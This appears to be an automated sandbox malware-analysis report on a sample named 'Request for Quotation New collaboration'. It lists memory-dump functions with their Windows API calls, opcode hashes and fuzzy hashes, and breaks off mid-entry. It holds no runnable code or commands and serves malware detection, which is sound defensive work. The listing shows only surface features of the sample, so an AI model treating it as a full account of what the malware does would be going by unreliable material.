DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 384508D7

Memory Dump Source

Source File: 00000005.00000002.2837563871.0000000038450000.00000040.00000800.00020000.00000000.sdmp, Offset: 38450000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_38450000_Request for Quotation New collaboration.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: d898ab4d7c2d287f1d3265bc130ed18942d6cecc8d2009e39c53db3552604030
Instruction ID: 289e421b2015c87974a90b4ba0ebfea70c892d8b5b292c26b3ee7f900fd5c251
Opcode Fuzzy Hash: d898ab4d7c2d287f1d3265bc130ed18942d6cecc8d2009e39c53db3552604030
Instruction Fuzzy Hash: CA21E5B5D01249AFDB11CFAAD880AEEFBF4EB48320F14845AE954A7310C375A954CFA5

Function 38450850 Relevance: 1.6, APIs: 1, Instructions: 62
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 384508D7

Memory Dump Source

Source File: 00000005.00000002.2837563871.0000000038450000.00000040.00000800.00020000.00000000.sdmp, Offset: 38450000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_38450000_Request for Quotation New collaboration.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: e7bdb6f4a24534ce700afe6fea4a43cae48d3e1863b0bb013b18a20ac551591c
Instruction ID: a0c0207f5290d20156708f900b58c36db8dd352e3e2d2d26b8bfe3e526985077
Opcode Fuzzy Hash: e7bdb6f4a24534ce700afe6fea4a43cae48d3e1863b0bb013b18a20ac551591c
Instruction Fuzzy Hash: F021C4B5D00248AFDB10CFAAD984ADEFBF4EB48320F14841AE958A7350D374A954CFA5

Function 3845C410 Relevance: 1.5, APIs: 1, Instructions: 46comCOMMON

Download Yara Rule

APIs

OleInitialize.OLE32(00000000), ref: 3845D2B5

Memory Dump Source

Source File: 00000005.00000002.2837563871.0000000038450000.00000040.00000800.00020000.00000000.sdmp, Offset: 38450000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_38450000_Request for Quotation New collaboration.jbxd

Similarity

API ID: Initialize
String ID:
API String ID: 2538663250-0
Opcode ID: 2ef459d7c1bd2b63fec2499d8ff7ea9251740f7bafdbf09254df84673c568f66
Instruction ID: b6d5d0e43718b563a9f1706444c1e3358ff3c22f34d6b056472dbe71f4fa00a7
Opcode Fuzzy Hash: 2ef459d7c1bd2b63fec2499d8ff7ea9251740f7bafdbf09254df84673c568f66
Instruction Fuzzy Hash: 971103B59043489FDB20CFAAC544BDEFBF4AF48324F10846AE558A7710C378A944CFA5

Function 3845C4BC Relevance: 1.5, APIs: 1, Instructions: 46windowCOMMON

Download Yara Rule

APIs

DispatchMessageW.USER32(?,?,?,?,?,?,00000000,-00000018,?,3845D79F), ref: 3845E5C5

Memory Dump Source

Source File: 00000005.00000002.2837563871.0000000038450000.00000040.00000800.00020000.00000000.sdmp, Offset: 38450000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_38450000_Request for Quotation New collaboration.jbxd

Similarity

API ID: DispatchMessage
String ID:
API String ID: 2061451462-0
Opcode ID: fd997414def66b6df55a027dd27fe751197f088b622e74c7f4fc173709335d46
Instruction ID: 7fee11533cce4f793e8c9977f3e84b666ab9159e8578c0bd02053f9ca73085f0
Opcode Fuzzy Hash: fd997414def66b6df55a027dd27fe751197f088b622e74c7f4fc173709335d46
Instruction Fuzzy Hash: A211E0B5C04749DFDB20CFAAD444BDEFBF4AB48324F10856AE458A7610D374A644CFA5

Function 38451CB8 Relevance: 1.5, APIs: 1, Instructions: 45timeCOMMON

Download Yara Rule

APIs

SetTimer.USER32(?,?,?,?), ref: 38451D1D

Memory Dump Source

Source File: 00000005.00000002.2837563871.0000000038450000.00000040.00000800.00020000.00000000.sdmp, Offset: 38450000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_38450000_Request for Quotation New collaboration.jbxd

Similarity

API ID: Timer
String ID:
API String ID: 2870079774-0
Opcode ID: 8805119862d526d8aec24c38c4b698c7e194464e4d6ed5818fee6c02b9312f2f
Instruction ID: 0e449e3864eecd0340cc611451c806b139491c33aa069eacec29f0a180e551a6
Opcode Fuzzy Hash: 8805119862d526d8aec24c38c4b698c7e194464e4d6ed5818fee6c02b9312f2f
Instruction Fuzzy Hash: BA11E3B58042499FDB11CF99D985BDEBBF4EB48320F108459E558A7610C374A684CFA1

Function 3845D258 Relevance: 1.5, APIs: 1, Instructions: 45comCOMMON

Download Yara Rule

APIs

OleInitialize.OLE32(00000000), ref: 3845D2B5

Memory Dump Source

Source File: 00000005.00000002.2837563871.0000000038450000.00000040.00000800.00020000.00000000.sdmp, Offset: 38450000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_38450000_Request for Quotation New collaboration.jbxd

Similarity

API ID: Initialize
String ID:
API String ID: 2538663250-0
Opcode ID: f7ae6279f5f424f5fb99af8a51bd1a2ae09d69fc31b6ec101b254bd31dd9d368
Instruction ID: b0f3c157ef8211f027e859ba38348867a3864dd806b02c016767e45687d65d1a
Opcode Fuzzy Hash: f7ae6279f5f424f5fb99af8a51bd1a2ae09d69fc31b6ec101b254bd31dd9d368
Instruction Fuzzy Hash: ED1103B58003489FDB20CFAAC545BDEBBF4AF48324F10846AE558A7710D378A984CFA5

Function 38451CC0 Relevance: 1.5, APIs: 1, Instructions: 44timeCOMMON

Download Yara Rule

APIs

SetTimer.USER32(?,?,?,?), ref: 38451D1D

Memory Dump Source

Source File: 00000005.00000002.2837563871.0000000038450000.00000040.00000800.00020000.00000000.sdmp, Offset: 38450000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_38450000_Request for Quotation New collaboration.jbxd

Similarity

API ID: Timer
String ID:
API String ID: 2870079774-0
Opcode ID: ead50d539a147b5217d43ced166e76a70f98034457b69c5a0db23b4dbdcbe387
Instruction ID: 8a5c0f048dd3ebacc114aeb7e97ab897df4b27be142b79df7cdb5838c99000e0
Opcode Fuzzy Hash: ead50d539a147b5217d43ced166e76a70f98034457b69c5a0db23b4dbdcbe387
Instruction Fuzzy Hash: 9A11E5B5800349DFDB10CF9AD985BDEFBF8EB48320F10841AE558A7610C375A584CFA5

Function 3845E560 Relevance: 1.5, APIs: 1, Instructions: 44windowCOMMON

Download Yara Rule

APIs

DispatchMessageW.USER32(?,?,?,?,?,?,00000000,-00000018,?,3845D79F), ref: 3845E5C5

Memory Dump Source

Source File: 00000005.00000002.2837563871.0000000038450000.00000040.00000800.00020000.00000000.sdmp, Offset: 38450000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_38450000_Request for Quotation New collaboration.jbxd

Similarity

API ID: DispatchMessage
String ID:
API String ID: 2061451462-0
Opcode ID: 14b40574011e534b5026b12c0aa5087a5ba1a10cbc322bebabaccd2b8f69e749
Instruction ID: b1be08370a7c142d889091849bd8fd5800242da7027ba0692f9bd6a063cc3da2
Opcode Fuzzy Hash: 14b40574011e534b5026b12c0aa5087a5ba1a10cbc322bebabaccd2b8f69e749
Instruction Fuzzy Hash: A411F5B5C04649DFDB20CFAAD444BDEFBF4EB48324F10856AD458A7610D374A544CFA6

Function 37EEB028 Relevance: 1.4, Strings: 1, Instructions: 153COMMON

Download Yara Rule

Strings

3Y);^, xrefs: 37EEB0FD, 37EEB102

Memory Dump Source

Source File: 00000005.00000002.2837241314.0000000037EE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 37EE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_37ee0000_Request for Quotation New collaboration.jbxd

Similarity

API ID:
String ID: 3Y);^
API String ID: 0-2562898844
Opcode ID: 5de598092370b7ce8673157a81988fa230dc9c67e5d05f2bb967fa794ff74840
Instruction ID: 583c8c40d8c1e4ebc1cb19f7939108367ed9b09103448e10d66498a467e9fd62
Opcode Fuzzy Hash: 5de598092370b7ce8673157a81988fa230dc9c67e5d05f2bb967fa794ff74840
Instruction Fuzzy Hash: 8651AF70A042099FCB00DFA4D565AEEBBB2FF85300F1085A9D045BB262DB35AD45DF65

Function 37EE9C55 Relevance: .3, Instructions: 322COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2837241314.0000000037EE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 37EE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_37ee0000_Request for Quotation New collaboration.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4e0d2895793e4dbbdfb9534bf3dd04ea7a3a0015346b7d3bf0ee3498279ba062
Instruction ID: ea80a2ba43274dec6d577ac92eba9f2343bbe9e346ec7cba9561d9277fab81fe
Opcode Fuzzy Hash: 4e0d2895793e4dbbdfb9534bf3dd04ea7a3a0015346b7d3bf0ee3498279ba062
Instruction Fuzzy Hash: 5DE1A034A00218CFDB25DF64C894BADBBB2EF89301F5085A9990A77364CB395E92DF54

Function 37EE9C53 Relevance: .3, Instructions: 319COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2837241314.0000000037EE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 37EE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_37ee0000_Request for Quotation New collaboration.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ff7b3d90469c902a51648f6f864fb1be9bdc230a8d00ca433e8275da224f0618
Instruction ID: 0c240f443423273e1e4ceeab9f3c653463c8849ca91731459a6aa4713b79a95a
Opcode Fuzzy Hash: ff7b3d90469c902a51648f6f864fb1be9bdc230a8d00ca433e8275da224f0618
Instruction Fuzzy Hash: DAE1A034A00218CFDB25DF64C894BADBBB2EF89301F5085A9D90A77364CB395E92DF54

Function 37EEF0E1 Relevance: .3, Instructions: 252COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2837241314.0000000037EE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 37EE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_37ee0000_Request for Quotation New collaboration.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ad77e3103bcb2330a1893d20b9f0ce08b66d04312ec34c74e652bd1c721f8fd6
Instruction ID: 1b456075aa42857d47367b850da21b92a8e32ffd3335dc400fbedbecb7ab4b00
Opcode Fuzzy Hash: ad77e3103bcb2330a1893d20b9f0ce08b66d04312ec34c74e652bd1c721f8fd6
Instruction Fuzzy Hash: E4918D74B007059FDB48DF79C49096EBBF6BF882607008A29D44ADBB51EB74ED428B94

Function 37EEE9B0 Relevance: .2, Instructions: 189COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2837241314.0000000037EE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 37EE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_37ee0000_Request for Quotation New collaboration.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 85cafcaa237ac52edefd14f23ddb0f4b26642e85c81bf9976dce34e91f720ff2
Instruction ID: f6134e25f679b62e02b7c7c3294baf415f3877a41eef308e0ca0190978b19966
Opcode Fuzzy Hash: 85cafcaa237ac52edefd14f23ddb0f4b26642e85c81bf9976dce34e91f720ff2
Instruction Fuzzy Hash: 4871F675A00319DFDB15DFB8C499AADBFB2BF88310F144629E406AB350DB389982DF51

Function 37EE9FAF Relevance: .2, Instructions: 155COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2837241314.0000000037EE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 37EE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_37ee0000_Request for Quotation New collaboration.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5b7768e85757d8251bd0218fe24fe45df9d711d8da52c1f109afd079da8f1372
Instruction ID: 3ebce617c766b38c115cf016581710f908aaff5e4f3c162639701bef22292798
Opcode Fuzzy Hash: 5b7768e85757d8251bd0218fe24fe45df9d711d8da52c1f109afd079da8f1372
Instruction Fuzzy Hash: 9B61C534A00258CFEB25DF60C894BADBB72FF88710F1084AA991A77764CB355D92DF18

Function 37EEDB00 Relevance: .1, Instructions: 148COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2837241314.0000000037EE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 37EE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_37ee0000_Request for Quotation New collaboration.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4c68ea694189524c46ea7edbd74e62cb47c95c8bf1dc407fbaf0be06a28a2551
Instruction ID: d021763f4d71cd0bbe49f4c8fbb9de8122ac05f35db633651e8559578e43e7ea
Opcode Fuzzy Hash: 4c68ea694189524c46ea7edbd74e62cb47c95c8bf1dc407fbaf0be06a28a2551
Instruction Fuzzy Hash: A4416A70E093849FE711CB74C45069D7FF9AF85324F4549ADD882ABA52CB30AD89CB91

Function 37EE5400 Relevance: .1, Instructions: 147COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2837241314.0000000037EE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 37EE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_37ee0000_Request for Quotation New collaboration.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dc173e028b8cc39faa8d82c5f12e7277f5487a4c59f6a4e86781041fa98aef1a
Instruction ID: 4465d915239e1554de9a0e0870e40a3269bc9095b317a8b09fc7c69b03099b04
Opcode Fuzzy Hash: dc173e028b8cc39faa8d82c5f12e7277f5487a4c59f6a4e86781041fa98aef1a
Instruction Fuzzy Hash: 5851EF74D01318CFEB14DFA5D994BAEBBB2BF88300F208529D805AB2A4DB395946DF54

Function 37EEA709 Relevance: .1, Instructions: 145COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2837241314.0000000037EE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 37EE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_37ee0000_Request for Quotation New collaboration.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a4b38953b394762b09df064e8f7f192143650448848f4794646a8b16fba942ff
Instruction ID: 229734c2ba9f2b0500ac3230ecf66fc7d19b76099ec697fd9a7027a4c5c67958
Opcode Fuzzy Hash: a4b38953b394762b09df064e8f7f192143650448848f4794646a8b16fba942ff
Instruction Fuzzy Hash: E261A174E01258DFDB15DFA9C890A9DBBB2FF89300F208169D849BB365DB31A946DF40

Function 37EEAA10 Relevance: .1, Instructions: 97COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2837241314.0000000037EE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 37EE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_37ee0000_Request for Quotation New collaboration.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e3ff6b91661b0666c37aebf71b9fd59b24de5a02cbbd70ef96eccdb9c6974e96
Instruction ID: 6471a27d545b02062cf29b1a0561c1f11df83e86bcaeae491a8a61efc6526481
Opcode Fuzzy Hash: e3ff6b91661b0666c37aebf71b9fd59b24de5a02cbbd70ef96eccdb9c6974e96
Instruction Fuzzy Hash: 11313674E093808FE725CB75C5906BEBFF65F89210F14889EC086E7A61DA34AC45CB61

Function 37EEAA48 Relevance: .1, Instructions: 88COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2837241314.0000000037EE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 37EE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_37ee0000_Request for Quotation New collaboration.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b86243ac7025141ea617bdf06269e30024651c931e2243497e1a9c10f8d99f56
Instruction ID: b321234b6f54dfdf2b4438367970fa7efe79462eb5e1bc653c3dd5eb36362d28
Opcode Fuzzy Hash: b86243ac7025141ea617bdf06269e30024651c931e2243497e1a9c10f8d99f56
Instruction Fuzzy Hash: BB31C774A017058BEB24CF65D5907BFBBFA9F88714F14882DC486A7B80DF34A845CBA1

Function 37EEE99F Relevance: .1, Instructions: 88COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2837241314.0000000037EE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 37EE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_37ee0000_Request for Quotation New collaboration.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d03bb4c37c98fb3f8b3094b9cdc3ffd7bc1a2bf61e1d1004745cf025d2a52ca7
Instruction ID: 0a40590c46e2b87f21ff61a9093cb7ea11a5716c565aaf9dca7d50cae7a8a922
Opcode Fuzzy Hash: d03bb4c37c98fb3f8b3094b9cdc3ffd7bc1a2bf61e1d1004745cf025d2a52ca7
Instruction Fuzzy Hash: 98315075B003188BEB15DF79C4546AE7FB6AF88310F14892DD416AB351DF389882CF51

Function 37EE53F0 Relevance: .1, Instructions: 78COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2837241314.0000000037EE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 37EE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_37ee0000_Request for Quotation New collaboration.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ad3a7ddf09a9d87683f51c8c14fb71671bfc53120b78b746bac3943e5d3fe13f
Instruction ID: be2c6935bd2e4f0a07c698ad180b3213119760aee002e373b38cf8a044aca85f
Opcode Fuzzy Hash: ad3a7ddf09a9d87683f51c8c14fb71671bfc53120b78b746bac3943e5d3fe13f
Instruction Fuzzy Hash: 6F313474C023189FDB04DFA5D8547EEBBB2BF89304F508829E815BB244DB794A4ADF60

Function 000AD030 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2809054307.00000000000AD000.00000040.00000800.00020000.00000000.sdmp, Offset: 000AD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_ad000_Request for Quotation New collaboration.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 31499129ae9bf5b819bd8384ffaac03bc552925e727b054295ca08044a7669fb
Instruction ID: bb195f18e4981e62d2172f4e94566b755779dc2dc77274c31474967eab03209f
Opcode Fuzzy Hash: 31499129ae9bf5b819bd8384ffaac03bc552925e727b054295ca08044a7669fb
Instruction Fuzzy Hash: 9F21F271604204EFDB24DF94D980F26BBA1EB85314F24C56EE94A4B642C336D847CA62

Function 37EE9498 Relevance: .1, Instructions: 59COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2837241314.0000000037EE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 37EE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_37ee0000_Request for Quotation New collaboration.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8b880a68a715c77c48bea6e38978be1d2d12f885fd88b4f174b41e9a9abdb04e
Instruction ID: 88a5c91d36ea43c6e106b655e5ad6d8f5f400ab9d0747a2e945bcee3df0980a3
Opcode Fuzzy Hash: 8b880a68a715c77c48bea6e38978be1d2d12f885fd88b4f174b41e9a9abdb04e
Instruction Fuzzy Hash: 5E210778D00609DFDB01DFA4D4986EDBFF1AF48310F1498AAD814B3290DB389A5ADF50

Function 37EE94A8 Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2837241314.0000000037EE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 37EE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_37ee0000_Request for Quotation New collaboration.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 20c13974d8358b656d57a4f586dd3aa7ce802b66b3a4ad2db3c42977f5c26c9d
Instruction ID: 8f2d204b514dd763e3ffddf5d265167db14384ec6b86abe26584085073b10fe6
Opcode Fuzzy Hash: 20c13974d8358b656d57a4f586dd3aa7ce802b66b3a4ad2db3c42977f5c26c9d
Instruction Fuzzy Hash: 2C21F478D10609DFDB00DFA4D4846EEBBF1FB48310F109869D910B3250DB389A56DF50

Function 000AD02B Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2809054307.00000000000AD000.00000040.00000800.00020000.00000000.sdmp, Offset: 000AD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_ad000_Request for Quotation New collaboration.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bb3f6b3ea4c7f948b5930e0f5b35f24b9d5dc708ab96ac67f7f3367d8e482390
Instruction ID: 3776e716027ca7e64b3c22ea2bbd20db1bf3eef2a4ccf6c08f8bfbc2d1869473
Opcode Fuzzy Hash: bb3f6b3ea4c7f948b5930e0f5b35f24b9d5dc708ab96ac67f7f3367d8e482390
Instruction Fuzzy Hash: B011DD75504280DFCB11CF54D5C4B15FFB2FB85314F28C6AAD84A4BA56C33AD84ACB62

Function 37EEDF91 Relevance: .1, Instructions: 52COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2837241314.0000000037EE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 37EE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_37ee0000_Request for Quotation New collaboration.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ee3be0dce65679a2ad2c79dbf60284c10fb1e5d7e94ccb188f3c7fecc9d44d6c
Instruction ID: ce07ce72dd26e74f7910622ee09dd0248e7373cd1de1daf3044e2aa4fcc8aef1
Opcode Fuzzy Hash: ee3be0dce65679a2ad2c79dbf60284c10fb1e5d7e94ccb188f3c7fecc9d44d6c
Instruction Fuzzy Hash: 1711AD707006409FE315CF2ED450959BBF6AF8A21830686AEE04ACB732DB30EC85DB90

Function 37EEDEFC Relevance: .1, Instructions: 52COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2837241314.0000000037EE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 37EE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_37ee0000_Request for Quotation New collaboration.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 649f84db690bce0a69bf00decb55dde97b2809ae12eca98b57d3dfd41cd8c7b7
Instruction ID: 11858e4c1c4460cf6df3b81a78c1616136dc9b254790cc3dfea7025763c09613
Opcode Fuzzy Hash: 649f84db690bce0a69bf00decb55dde97b2809ae12eca98b57d3dfd41cd8c7b7
Instruction Fuzzy Hash: 1C112530D0C3845FC712CFA488106AE7FF9AF42220F0405AFD489DBA52C7346558CBA2

Function 37EEDAE4 Relevance: .0, Instructions: 50COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2837241314.0000000037EE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 37EE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_37ee0000_Request for Quotation New collaboration.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b940e1ba07840d9f6ee52e8d782218b25425caf5d4172eea3dc812e20dbec2e7
Instruction ID: ade941ca9ac0f5f4b186196285d4bc4814184bbde53989261c5ef357882feed3
Opcode Fuzzy Hash: b940e1ba07840d9f6ee52e8d782218b25425caf5d4172eea3dc812e20dbec2e7
Instruction Fuzzy Hash: 4E019E307006019FE314DF6ED48196AB7F6EF89764305896AE00ACB736EB70EC85DB91

Function 37EEA931 Relevance: .0, Instructions: 43COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2837241314.0000000037EE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 37EE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_37ee0000_Request for Quotation New collaboration.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1a28f2c01f25c73d523858552da303f08784d60d758e07bd8ffae4e61540bd4b
Instruction ID: 52989fdfc0d7955ed6af6cac107be85df0cee1fe28f75040bb461acd59fef66f
Opcode Fuzzy Hash: 1a28f2c01f25c73d523858552da303f08784d60d758e07bd8ffae4e61540bd4b
Instruction Fuzzy Hash: BD018F34D06644DFDB04DFB4E8546EDBBB5EFCA301F509869C40073221DB359951CB61

Function 37EEA940 Relevance: .0, Instructions: 39COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2837241314.0000000037EE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 37EE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_37ee0000_Request for Quotation New collaboration.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6d8157748997a84d9fa3ae9c317ba4a721b51a962bff5e75db2c08fe72d194ee
Instruction ID: 2c367037d568322ddc72b89799559d509b0ff1d83804aa8b5685738d307e0ba6
Opcode Fuzzy Hash: 6d8157748997a84d9fa3ae9c317ba4a721b51a962bff5e75db2c08fe72d194ee
Instruction Fuzzy Hash: 3EF03734D01608CFDB44DFA9E8446EDBBB6EFCA301F209829C804B3250DB3A9952CF65

Function 37EE70C8 Relevance: .0, Instructions: 39COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2837241314.0000000037EE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 37EE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_37ee0000_Request for Quotation New collaboration.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e6247fec2e75a0dd04c04a9d50faafc3ab137cd50d3406d81af249ee4bb0f81f
Instruction ID: b5b24d5cbf801be9a4cab9f8b994171a45c4e8a887e54061fe8fbe454d029654
Opcode Fuzzy Hash: e6247fec2e75a0dd04c04a9d50faafc3ab137cd50d3406d81af249ee4bb0f81f
Instruction Fuzzy Hash: EFF0A935E082089FDB10DFD4C8407AE7BF9FB84324F00492AE419A7B54DB75A595CB92

Function 37EEAFA8 Relevance: .0, Instructions: 37COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2837241314.0000000037EE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 37EE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_37ee0000_Request for Quotation New collaboration.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ad827372834e0f8608aa2e0195fce331753fc76ff90c03f6236cac8054ca72be
Instruction ID: 6580192dee401093151e54eb64963263a76ebeddd1e9b6a71a30724ff7791dd8
Opcode Fuzzy Hash: ad827372834e0f8608aa2e0195fce331753fc76ff90c03f6236cac8054ca72be
Instruction Fuzzy Hash: D9F0E2203483452FE3022AB9886177B77AE9BC2264B10807FD545DB782DE648C0B83E6

Function 37EE70E8 Relevance: .0, Instructions: 35COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2837241314.0000000037EE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 37EE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_37ee0000_Request for Quotation New collaboration.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 27b3ec5ccb98ea7b38dd93bc40afeea49bc237fa68ee182b86e686ddb99823f7
Instruction ID: 996559d4f58f4380c01c42a5badf9f318302b892aaa442199cc2858adb4041c7
Opcode Fuzzy Hash: 27b3ec5ccb98ea7b38dd93bc40afeea49bc237fa68ee182b86e686ddb99823f7
Instruction Fuzzy Hash: 7EF0A7613443056BE60522A9845577F63AEABC5271F50843AF505D7640DEA4CC0647E6

Function 37EEFEF8 Relevance: .0, Instructions: 28COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2837241314.0000000037EE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 37EE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_37ee0000_Request for Quotation New collaboration.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1c18199a9fb978fc58eb1d9f3b23bfd738484c9e689748eabc955804f13dcfbb
Instruction ID: 8eb3637dc506e89672d9628e0f54776fd174798767bd500dc93babc993edded7
Opcode Fuzzy Hash: 1c18199a9fb978fc58eb1d9f3b23bfd738484c9e689748eabc955804f13dcfbb
Instruction Fuzzy Hash: BCF05A3600454ABFCF039F90CD00CC97FAAAF4A254B499192FA088A131D232D9A4EB51

Function 37EE9879 Relevance: .0, Instructions: 25COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2837241314.0000000037EE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 37EE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_37ee0000_Request for Quotation New collaboration.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b4bfaabe88d98f5edfc43c1d8dee94e6fa27f698f38607df86e3d52c114fe4d4
Instruction ID: 4061d08f981052c8f88c500e8d883a194ce9f04620929b37db457c28ac35f432
Opcode Fuzzy Hash: b4bfaabe88d98f5edfc43c1d8dee94e6fa27f698f38607df86e3d52c114fe4d4
Instruction Fuzzy Hash: BBE01A7001AF81AFE3121B706C6C66A7FB8FB0B317B842C85A04D86032CB685484C755

Function 37EEAB75 Relevance: .0, Instructions: 21COMMON

Download Yara Rule

Memory Dump Source

